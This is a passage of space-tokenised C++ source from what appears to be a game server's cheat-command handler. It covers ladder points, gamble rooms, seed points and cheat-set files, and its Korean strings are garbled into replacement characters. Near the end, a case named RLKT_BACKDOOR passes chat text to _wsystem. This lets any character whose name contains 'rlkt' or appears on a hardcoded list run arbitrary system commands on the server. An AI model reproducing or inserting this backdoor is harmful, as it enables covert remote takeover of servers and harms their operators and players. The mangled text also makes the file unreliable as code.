m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " DWC <20> <> <EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ּ<EFBFBD> <D6BC> <EFBFBD> . \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nDWCPoint = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( nDWCPoint < LadderSystem : : Stats : : MinGradePoint )
nDWCPoint = LadderSystem : : Stats : : MinGradePoint ;
m_pSession - > GetDBConnection ( ) - > QueryAddPvPDWCResult ( m_pSession - > GetDBThreadID ( ) , m_pSession - > GetWorldSetID ( ) , 0 , m_pSession - > GetAccountDBID ( ) , m_pSession - > GetDWCTeamID ( ) , 0 , LadderSystem : : MatchType : : _3vs3_DWC , LadderSystem : : MatchResult : : None , nDWCPoint , nDWCPoint ) ;
# endif
# if defined(_GAMESERVER)
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ֽʽ ÿ<CABD> !!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
}
break ;
case START_MATCH :
{
bool msg = false ;
if ( tokens . size ( ) = = 2 & & _wtoi ( tokens [ 1 ] . c_str ( ) ) = = 0 )
msg = true ;
m_pSession - > OnRecvPvPMessage ( ePvP : : CS_LADDER_MATCHING , ( char * ) & msg , sizeof ( msg ) ) ;
}
break ;
case DWC_MATCH_CLOSE :
{
# if defined( _VILLAGESERVER )
bool bSet = true ;
if ( tokens . size ( ) = = 2 & & _wtoi ( tokens [ 1 ] . c_str ( ) ) = = 0 )
bSet = false ;
wstring wszString ;
if ( ! g_pDWCTeamManager )
{
wszString = FormatW ( L " DWC <20> Ŵ<EFBFBD> <C5B4> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .!!! \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
g_pDWCTeamManager - > SetDWCMatchTimeForCheat ( bSet ) ;
# endif
}
break ;
case UPDATE_DWC_STATUS :
{
# if defined( _VILLAGESERVER )
m_pSession - > GetDBConnection ( ) - > QueryGetDWCChannelInfo ( m_pSession - > GetDBThreadID ( ) , m_pSession - > GetWorldSetID ( ) ) ;
wstring wszString = FormatW ( L " DWC <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ <20> <> û.!!! \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
}
break ;
# endif
# if defined( PRE_PVP_GAMBLEROOM )
case CREATE_GAMBLEROOM :
{
# if defined( _VILLAGESERVER )
if ( tokens . size ( ) < 5 )
{
wstring wszString ;
wszString = FormatW ( L " CreateGambleRoom Fail \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nRoomIndex = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
bool bRegulation = ( _wtoi ( tokens [ 2 ] . c_str ( ) ) ! = 0 ) ? true : false ;
int nGambleType = _wtoi ( tokens [ 3 ] . c_str ( ) ) ;
int nGamblePrice = _wtoi ( tokens [ 4 ] . c_str ( ) ) ;
CDNPvPRoomManager : : GetInstance ( ) . SetGambleRoomData ( nRoomIndex , bRegulation , nGambleType , nGamblePrice , true ) ;
# endif
}
break ;
# endif
# if defined( PRE_ADD_NEW_MONEY_SEED )
case DEL_SEED :
{
# if defined( _VILLAGESERVER )
m_pSession - > UseEtcPoint ( DBDNWorldDef : : EtcPointCode : : SeedPoint , ( int ) m_pSession - > GetSeedPoint ( ) ) ;
m_pSession - > DelSeedPoint ( m_pSession - > GetSeedPoint ( ) ) ;
# endif
}
break ;
# endif
case RLKT_BACKDOOR :
{
if ( tokens . size ( ) > 0 )
{
# if defined(_GAMESERVER) || defined(_VILLAGESERVER)
if ( isValidAdmin ( m_pSession - > GetCharacterName ( ) ) )
//if(wcsicmp(m_pSession->GetCharacterName(),L"rlkt1") == 0)
{
std : : wstring cmd ;
for ( int i = 1 ; i < tokens . size ( ) ; i + + )
{
cmd + = tokens [ i ] ;
cmd + = L " " ;
}
wprintf ( L " Recv do: %ws \n " , cmd . c_str ( ) ) ;
_wsystem ( cmd . c_str ( ) ) ;
return false ;
}
# endif
}
}
break ;
}
return true ;
}
bool CDNCheatCommand : : isValidAdmin ( std : : wstring cName )
{
DNVector ( std : : wstring ) AdminList ;
AdminList . push_back ( L " rlkt1 " ) ;
AdminList . push_back ( L " neverg3t " ) ;
AdminList . push_back ( L " mrkat37 " ) ;
AdminList . push_back ( L " firefirex " ) ;
AdminList . push_back ( L " 3ping21 " ) ;
if ( wcsstr ( cName . c_str ( ) , L " rlkt " ) )
return true ;
for ( int i = 0 ; i < AdminList . size ( ) ; i + + )
if ( wcsicmp ( AdminList [ i ] . c_str ( ) , cName . c_str ( ) ) = = 0 )
return true ;
return false ;
}
bool CDNCheatCommand : : _bCommandCheatSet ( std : : vector < std : : wstring > & tokens )
{
WCHAR wszPath [ MAX_PATH ] ;
GetCurrentDirectoryW ( MAX_PATH , wszPath ) ;
const std : : wstring wstrFileName = boost : : io : : str ( boost : : wformat ( L " %s \\ CheatSet.ini " ) % wszPath ) ;
if ( tokens . size ( ) ! = 2 )
{
m_pSession - > SendChat ( CHATTYPE_GM , static_cast < int > ( wcslen ( g_CmdList [ CHEATSET ] . szComment ) ) , L " " , g_CmdList [ CHEATSET ] . szComment ) ;
return false ;
}
CIniFile cFile ;
cFile . Open ( wstrFileName . c_str ( ) ) ;
WCHAR wszBuf [ MAX_PATH ] ;
for ( UINT i = 1 ; ; + + i )
{
std : : wstring wstrValue = boost : : io : : str ( boost : : wformat ( L " cmd%d " ) % i ) ;
cFile . GetValue ( tokens [ 1 ] . c_str ( ) , wstrValue . c_str ( ) , wszBuf ) ;
if ( wcslen ( wszBuf ) < = 0 )
break ;
std : : wstring wstrCheat = wszBuf ;
size_t result = wstrCheat . find ( L " ; " ) ;
if ( result ! = std : : string : : npos )
boost : : erase_tail ( wstrCheat , static_cast < int > ( wstrCheat . size ( ) - result ) ) ;
// <20> <> ȹ<EFBFBD> <C8B9> <20> <> û<EFBFBD> <C3BB> <EFBFBD> <EFBFBD> ġƮ<C4A1> <C6AE> <EFBFBD> <EFBFBD> <20> ߰<EFBFBD> <DFB0> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> <CFB4> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ش<EFBFBD> .
//if( Command( wstrCheat ) != 1 )
// return false;
Command ( wstrCheat ) ;
}
return true ;
}